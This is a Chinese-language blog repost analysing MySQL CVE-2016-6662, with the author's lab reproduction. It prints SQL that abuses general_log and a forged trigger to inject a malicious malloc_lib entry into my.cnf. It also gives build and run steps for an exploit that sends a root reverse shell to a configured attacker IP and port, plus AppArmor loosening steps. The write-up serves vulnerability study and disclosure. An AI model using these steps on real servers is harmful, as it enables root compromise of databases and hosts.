从360播报(安全客)转载过来的,虽然是我投的稿 ~^_^ !
原始漏洞分析地址:http://bobao.360.cn/learning/detail/3027.html
安全客文章地址:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
就我目前测试的情况来看,这个漏洞比较鸡肋,原因有以下两点:
1,使用默认方式安装的mysql,mysql用户并没有配置文件/etc/mysql/my.cnf的所属权限;
2,不关闭selinux或apparmor的话,exp脚本执行是会报错的。
legalhackers原文中提到这个漏洞的前提是很多人按照错误的安装指南来进行权限配置,将配置文件的所属用户修改成了mysql。不过貌似漏洞发现者手里还藏了几个更加严重的mysql漏洞,并没有披露。
I. VULNERABILITY
MySQL <= 5.7.15 远程代码执行/权限提升 (0day)
5.6.33
5.5.52
克隆mysql的同样受影响, 包括:
MariaDB PerconaDB
II. INTRODUCTION
一个独立的研究组织发现多处严重的Mysql漏洞,此次通报的是其中比较严重的一个漏洞CVE-2016-6662,它允许攻击者远程注入恶意设置到被攻击服务器的Mysql配置文件(my.cnf)中,导致更加严重的后果。
该漏洞影响所有默认配置的Mysql版本分支(5.7、5.6、5.5),包括最新的版本,并可能被攻击者进行本地或者远程的利用。Exp既可以通过网络连接或者利用类似phpmyadmin之类的web管理工具,以及SQL注入漏洞等来实现远程提权的目的。
SQL注入漏洞是在web应用中最常见的漏洞之一,在存在注入漏洞的情况下,攻击者可以配合CVE-2016-6662进行更加深入的入侵。如果被攻击服务器有运行受影响的mysql版本,攻击者可以以root权限执行任意代码,从而完全控制被攻击服务器。
目前官方还没有提供针对该漏洞的补丁,即使服务器开启了SELinux安全模式,也会受到该漏洞Exp的影响。该通报后面提供一个该漏洞的Poc,演示攻击者如何实现远程代码执行。
III. DESCRIPTION
默认的Mysql安装包自带mysql_safe脚本,启动mysql服务器就可以观察到,例如,进行mysql全面更新。
Debian系统:
root@debian:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.5 (jessie)
Release: 8.5
Codename: jessie
root@debian:~# dpkg -l | grep -i mysql-server
ii mysql-server 5.5.50-0+deb8u1
ii mysql-server-5.5 5.5.50-0+deb8u1
ii mysql-server-core-5.5 5.5.50-0+deb8u1
通过运行如下命令启动Mysql(用默认Debian仓库提供的软件包安装)
root@debian:~# service mysql start
或用如下方式启动:
root@debian:~# /etc/init.d/mysql start
Mysql服务的进程树看起来如下:
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
可以看出,mysqld_safe封装脚本是以root权限启动的,而主要的mysqld进程是用较低权限的mysql用户启动的。
mysqld_safe封装脚本有以下功能 :
----[ /usr/bin/mysqld_safe ]---- [...] # set_malloc_lib LIB # - If LIB is empty, do nothing and return # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib # then pkglibdir. tcmalloc is part of the Google perftools project. # - If LIB is an absolute path, assume it is a malloc shared library # # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when # running mysqld. See ld.so for details. set_malloc_lib() { malloc_lib="$1" if [ "$malloc_lib" = tcmalloc ]; then pkglibdir=`get_mysql_config --variable=pkglibdir` malloc_lib= # This list is kept intentionally simple. Simply set --malloc-lib # to a full path if another location is desired. for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do for flavor in _minimal '' _and_profiler _debug; do tmp="$libdir/libtcmalloc$flavor.so" #log_notice "DEBUG: Checking for malloc lib '$tmp'" [ -r "$tmp" ] || continue malloc_lib="$tmp" break 2 done done [...] ----------[ eof ]---------------
它可以用来在启动服务之前加载共享库,库文件可以通过下面的参数进行设置:
–malloc-lib=LIB
这个参数也可以在mysqld的配置文件中指定(my.cnf中),在[mysqld]或者[mysqld_safe]部分。
如果攻击者能够将其恶意的库文件路径插入到配置文件中,就可以加载任意库,当mysql服务重启(手动、系统更新包更新、系统重启等)时,可以以root权限执行任意代码。
2003年公布的一个mysql 3.23.55之前版本的漏洞,允许攻击者利用一个简单的语句创建mysql配置文件:
SELECT * INFO OUTFILE ‘/var/lib/mysql/my.cnf’
该漏洞已经在mysql 3.23.55版本中修复,利用outfile查询创建的文件默认是没办法覆盖现有文件的,这样可以保护现有的配置文件,写入配置文件已经算不可能了。
然而POC证明,有可能利用Mysql的日志功能(默认方式安装的mysql)绕过当前的限制,来实现如下的目标:
1,注入恶意配置文件到现有的mysql配置文件中,前提是配置文件权限配置不当,配置文件所属用户是mysql用户,并且mysql用户有配置文件的可写权限;
2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置;
3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在数据目录添加修改配置文件。
IV. PROOF OF CONCEPT
1,利用不正确的权限配置(配置文件所属mysql用户,mysql用户有可写权限)注入恶意配置到mysql的配置文件;
当mysqld_safe脚本执行时,mysql配置文件从所有支持的位置逐一加载和处理库文件,确切的配置文件位置取决于mysql的版本。 例如: http://dev.mysql.com/doc/refman/5.5/en/option-files.html
mysql5.5的配置位置包括:
/etc/my.cnf 全局配置
/etc/mysql/my.cnf 全局配置
SYSCONFDIR/my.cnf 全局配置
$MYSQL_HOME/my.cnf 服务特定配置
默认额外文件,如果有~/my.cnf,用–defaults-extra-file参数来指定用户特定的配置。
目前有一种常见误解是mysql用户必须有mysql配置文件的所属权限,才能让服务正常工作。许多安装指南,甚至安全指南经常错误的建议用户给予mysql用户mysql配置文件或目录的所属权限。 例如:
https://github.com/willfong/mariadb-backup/blob/master/README.md
提到:
用如下命令设置配置文件权限:
chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf”
而在如下文章中提到:
http://www.devshed.com/c/a/mysql/security-issues-with-mysql/
“你应该保护全局配置文件/etc/my.cnf,如果存在的该文件,所属用户应该是mysql用户,并且mysql用户要有读写权限,但其它用户只需要只读权限”。
shell> chown mysql /etc/my.cnf”
如果mysql用户有mysql配置文件的所属权限,攻击可以追加恶意的配置项,如下所示:
root@debian:~/# ls -l /etc/my.cnf
-rw-r–r– 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
root@debian:~/# cat /etc/my.cnf
[mysqld]
key_buffer = 16M
max_allowed_packet = 16M
攻击者可以运行下面的SQL查询:
mysql> set global general_log_file = '/etc/my.cnf'; mysql> set global general_log = on; mysql> select ' '> '> ; injected config entry '> '> [mysqld] '> malloc_lib=/tmp/mysql_exploit_lib.so '> '> [separator] '> '> '; 1 row in set (0.00 sec) mysql> set global general_log = off;
然后配置文件将增加如下的部分:
root@debian:~/# cat /etc/my.cnf [mysqld] key_buffer = 16M max_allowed_packet = 16M /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 160728 17:25:14 40 Query select ' ; injected config entry [mysqld] malloc_lib=/tmp/mysql_exploit_lib.so [separator] ' 160728 17:25:15 40 Query set global general_log = off
这个配置将会让mysql启动失败,因为该文件中包含一些垃圾内容,然而最重要的部分是mysql配置文件包含了以下部分:
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
在mysqld守护进程启动之前,mysqld_safe将正确的读取共享库的路径,并把它添加到LD_PRELOAD环境变量。然后预装库的fopen()函数在mysqld守护进程启动之前处理和清理配置文件,为的是mysql能够正常启动。
2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置。
mysqld_safe脚本的分析表明,在除上文中提到的配置文件位置之外,在mysql5.5、5.6版本中mysqld_safe在默认情况下还会从mysql的数据目录(/var/lib/mysql/my.cnf)加载配置文件,如下:
----[ /usr/bin/mysqld_safe ]---- [...] # Try where the binary installs put it if test -d $MY_BASEDIR_VERSION/data/mysql then DATADIR=$MY_BASEDIR_VERSION/data if test -z "$defaults" -a -r "$DATADIR/my.cnf" then defaults="--defaults-extra-file=$DATADIR/my.cnf" fi [...] ----------[ eof ]---------------
从mysql 5.7开始移除了这个功能,然而在很多错误配置中,任然是从如下位置加载配置文件:
/var/lib/mysql/.my.cnf
mysql用户是有mysql数据目录(/var/lib/mysql)写权限的:
root@debian:~# ls -ld /var/lib/mysql/
drwx—— 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/
因此,如果没有所属mysql用户的配置文件,攻击者可能仍然能够利用此漏洞在如下位置创建配置文件:
/var/lib/mysql/my.cnf
/var/lib/mysql/.my.cnf
正如前文提到的,用file权限创建这样的文件:
SELECT ‘恶意配置内容’ INTO OUTFILE ‘/var/lib/mysql/my.cnf’
是行不通的,因为通过这种方式创建的文件权限如下:
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
mysql在启动的时候会阻止这种全部可写的配置,但是攻击者利用该漏洞可以绕过这个限制:
mysql> set global general_log_file = '/var/lib/mysql/my.cnf'; mysql> set global general_log = on; mysql> select ' '> '> ; injected config entry '> '> [mysqld] '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so '> '> [separator] '> '> '; 1 row in set (0.00 sec) mysql> set global general_log = off;
以上SQL创建一个具有必要权限(other用户没有读写权限)的可供mysql守护进程解析的配置文件:
# ls -l /var/lib/mysql/my.cnf
-rw-rw—- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
这个文件包含的内容如下:
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select ‘
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
‘
160728 17:48:23 43 Query set global general_log = off
然而,依然存在一个问题,mysql会启动报错,因为该配置文件包含了太多垃圾内容,会报错如下:
error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program aborted
不过深入的测试证明可以绕过此安全限制导致的错误,继续看下文。
值得大家注意的是,cve-2016-6662漏洞的报告者利用其它漏洞可以轻易的创建任意内容的/var/lib/mysql/my.cnf配置文件,并不需要file权限,只是报告者并未披露其它的漏洞。
3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在此位置添加修改配置文件。
如果攻击者没有访问日志功能的管理权限,只有标准用户权限与另外的file权限,那么攻击者仍然可以获得写入修改配置文件的能力,可以利用一个恶意的触发器来实现:
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf AFTER INSERT ON `active_table` FOR EACH ROW BEGIN DECLARE void varchar(550); set global general_log_file='/var/lib/mysql/my.cnf'; set global general_log = on; select " [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' " INTO void; set global general_log = off; END;
利用类似的语句创建触发器
SELECT ‘….trigger_code…’ INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG’
当表刷新的时候就会执行触发器,比如通过insert来让表刷新:
INSERT INTO `active_table` VALUES(‘xyz’);
触发器的代码会以mysql root权限执行,从而让攻击者修改general_log设置,即使攻击者没有数据库管理员权限。
V. PROOF OF CONCEPT – 0day
.c文件0ldSQLMySQLRCEexploit.py脚本要注入的共享库内容,具体的.c文件代码请查看老外写的文章。当mysqld守护进程启动的时候,mysqld_safe会加载该恶意的共享库,然后会主动连接远程攻击者监听的6033端口,并给攻击者反弹一个root权限shell。
python脚本首先会创建修改mysql配置文件,加入如下内容:
[mysqld]
malloclib=mysqlhookandroot_lib.so
然后当mysqld启动的时候,mysqld_safe会加载.so文件中的恶意内容,然后.so文件中的execvp()函数首先会清理掉mysql配置文件中插入的垃圾内容,只保留[mysqld]这个字段,以确保mysqld服务能正常启动,之后就会向攻击者反弹一个root权限的shell。在使用该文件的时候,需要调整一下接收shell的IP和端口,以及配置路径等。
使用如下命令进行编译:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
复现测试流程:
1,创建一个测试用的数据库,并创建测试用户的账号和权限,如下:
CREATE DATABASE pocdb; GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!'; GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
2,将存在的mysql配置文件的所属用户修改成mysql用户,如下:
# chown mysql:mysql /etc/mysql/my.cnf # ls -l /etc/mysql/my.cnf -rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
3,用attacker用户运行该exp,运行完毕重启mysql服务 首先,在.c文件中输入你的库路径; 接着,运行.py脚本。 如:
attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
4,然后在接收反弹shell的服务器用nc监听6033端口即可收到反弹的shell。
具体的exp以及用到的库文件代码,请查看360播报或者老外的文章。下面附上详细的复现过程及方法,是在ubuntu 14.04中测试的。
1,安装mysql-server ,mysql-client
sudo apt-get install mysql-server mysql-client
2,安装gcc
sudo apt-get install build-essential
3,安装exp脚本中用到的mysql connector,下载地址
http://cdn.mysql.com//Downloads/Connector-Python/mysql-connector-python1.2.3-1ubuntu12.04all.deb
4,创建测试用的数据库,以及需要账号及权限
mysql> create database pocdb;
Query OK, 1 row affected (0.00 sec)
mysql> grant file on *.* to ‘attacker’@’%’ identified by ‘hello123’;
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT SELECT,INSERT,CREATE ON `pocdb`.* TO ‘attacker’@’%’;
Query OK, 0 rows affected (0.00 sec)
注意上面这条中数据库名是用反引号括起来的。
5,编译mysqlhookandrootlib.c文件,编译之前,修改内容如下:
#define ATTACKERS_IP “182.92.100.1”
#define SHELL_PORT 1234
#define INJECTED_CONF “/etc/mysql/my.cnf”
其中IP、端口是另外一台需要监听的服务器的,执行exp之后被攻击服务器会主动向上面的IP跟端口反弹一个root权限的shell。
my.cnf是我的测试环境中配置文件的默认位置。
编译命令:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
6,修改/etc/mysql/my.cnf的所属用户及组
chown mysql:mysql /etc/mysql/mysql.cnf
7,唯一鸡肋的地方是需要对ubuntu的apparmor相关的配置,不然exp执行的时候会报错误6,会提示
ERROR 29 (HY000): File ‘/etc/mysql/my.cnf’ not found (Errcode: 13)
centos的话应该是需要关闭selinux,不过看漏洞介绍说不关闭这个的情况下也能利用,可能是描述有误吧。
修改方法:
sudo vi /etc/apparmor.d/usr.sbin.mysqld
修改成如图所示:
修改完成之后执行:
sudo /etc/init.d/apparmor reload
8,然后将编译好的.so文件以及.py文件放到同一个目录,执行如下命令:
sudo python mysqlRECexploit.py -dbuser attacker -dbpass ‘hello123’ -dbhost 127.0.0.1 -dbname pocdb -mycnf /etc/mysql/my.cnf
执行成功后如图所示:
然后在之前设定的那个服务器上就会接收到root权限的shell,如图: